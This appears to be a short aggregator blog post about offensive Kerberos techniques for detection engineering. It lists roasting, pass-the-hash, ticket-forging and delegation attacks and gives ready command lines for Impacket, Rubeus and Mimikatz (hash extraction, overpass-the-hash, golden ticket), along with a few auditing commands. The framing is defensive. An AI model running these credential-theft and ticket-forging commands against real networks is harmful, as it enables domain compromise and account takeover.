Offensive Kerberos Techniques For Detection Engineering

2025-02-17

Kerberos, a widely used authentication protocol, is a prime target for attackers due to its complexity and critical role in network security. This article delves into various offensive Kerberos techniques, detection methods, and mitigation strategies. Below are the key techniques covered:

AS-REP Roasting: Exploiting misconfigured accounts that do not require pre-authentication to extract TGTs.
Kerberoasting: Targeting service accounts with weak passwords to crack their hashes.
(Over)Pass the Hash/Key: Using stolen credentials to authenticate without knowing the plaintext password.
Forging Tickets: Creating fake Kerberos tickets to gain unauthorized access.
Unconstrained Delegation: Exploiting services with excessive permissions to impersonate users.
Constrained Delegation: Abusing delegated permissions to access specific services.
Resource-Based Constrained Delegation: Manipulating resource permissions to escalate privileges.
UnPAC the Hash: Extracting hashes from PAC (Privilege Attribute Certificate) data.
Shadow Credentials: Adding malicious credentials to an account for persistence.

For a detailed guide, read the full article: Offensive Kerberos Techniques for Detection Engineering.

Practice-Verified Commands and Codes

1. Kerberoasting with Impacket:

python GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>

2. AS-REP Roasting with Rubeus:

Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

3. Overpass the Hash with Mimikatz:

sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<NTLM_HASH>

4. Forging Golden Tickets:

mimikatz # kerberos::golden /user:<USER> /domain:<DOMAIN> /sid:<SID> /krbtgt:<KRBTGT_HASH> /id:500 /ptt

5. Detecting Unconstrained Delegation:

Get-NetComputer -Unconstrained | Select-Object Name

What Undercode Say

Kerberos remains a cornerstone of modern authentication systems, but its complexity makes it a lucrative target for attackers. Understanding these offensive techniques is crucial for defenders to build robust detection and mitigation strategies. Here are some additional Linux and Windows commands to enhance your security posture:

Linux:
Use `klist` to view Kerberos tickets:
```
klist 
```
Check for open ports related to Kerberos:
```
nmap -p 88 <TARGET_IP> 
```
Windows:

Audit Kerberos events in the Security Log:

Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4768,4769}

Disable unnecessary delegation:

Set-ADAccountControl -Identity <USER> -TrustedForDelegation $false

For further reading, explore these resources:

By mastering these techniques and tools, you can better defend your network against sophisticated Kerberos-based attacks. Stay vigilant, and always keep your systems updated with the latest security patches.

References:

Hackers Feeds, Undercode AI

Listen to this Post